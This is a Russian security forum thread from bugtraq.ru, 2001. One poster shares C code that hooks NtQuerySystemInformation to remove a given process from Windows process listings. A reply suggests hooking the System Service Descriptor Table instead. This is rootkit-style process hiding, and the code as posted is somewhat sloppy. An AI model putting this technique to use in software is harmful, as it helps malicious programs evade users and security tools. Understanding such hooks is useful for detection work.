информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Атака на InternetПортрет посетителя
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Tailscale окончательно забанила... 
 Прекращение работы антивируса Касперского... 
 Microsoft Authenticator теряет... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
обман функции NtQuerySystemInformation 24.11.01 14:07  
Автор: researcher Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Довольно странно, что везде пишут про невозможность обмана функции NtQuerySystemInformation. Я с этим делом мучился довольно долго, а все оказалось очень просто. Думаю, многие из вас читали книгу Рихтера или что-то подобное. Главное знать как перехватываются вызовы функций и этого вполне достаточно.
Далее следует сама перехваченная функция:

NTAPI Hook_NtQuerySystemInformation(
LONG type,
PVOID SystemInformation,
LONG SystemInformationLength,
PLONG ReturnLength
)
{
SYSTEM_PROCESS_INFORMATION *pinfo, *pinfo_last;

// вызываем оригинальную функцию
((PFNNtQuerySystemInformation)(PROC) g_NtQuerySystemInformation)
(type, SystemInformation, SystemInformationLength, ReturnLength);

// если получается информация о процессах
if(type == 5)
{
if(SystemInformationLength > 20000)
{
pinfo = (SYSTEM_PROCESS_INFORMATION*)SystemInformation;
for(;;)
{
// если идентификатор процесса равен идентификатору нашего процесса
if(pinfo->ProcessID == progProcessId)
{
if(pinfo->NextOffest == 0)
{
pinfo_last->NextOffest = 0;
}
else
{
pinfo_last->NextOffest += pinfo->NextOffest;
}
}
if(pinfo->NextOffest == 0) break;
pinfo_last = pinfo;
pinfo = (SYSTEM_PROCESS_INFORMATION*)((char *)pinfo + pinfo->NextOffest);
}
}
}
}

Думаю, объяснять больше нечего, но все же интересно, почему эта информация не была доступна в интернете.
обман функции NtQuerySystemInformation 24.11.01 14:41  
Автор: SerpentFly <Vadim Smirnov> Статус: Member
<"чистая" ссылка>
А где это везде? Что-то я не встречал такого... Можно даже посильнее извратиться и перехватить соответсвующий сервис в System Service Descriptor Table, так даже пожалуй лучше....
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach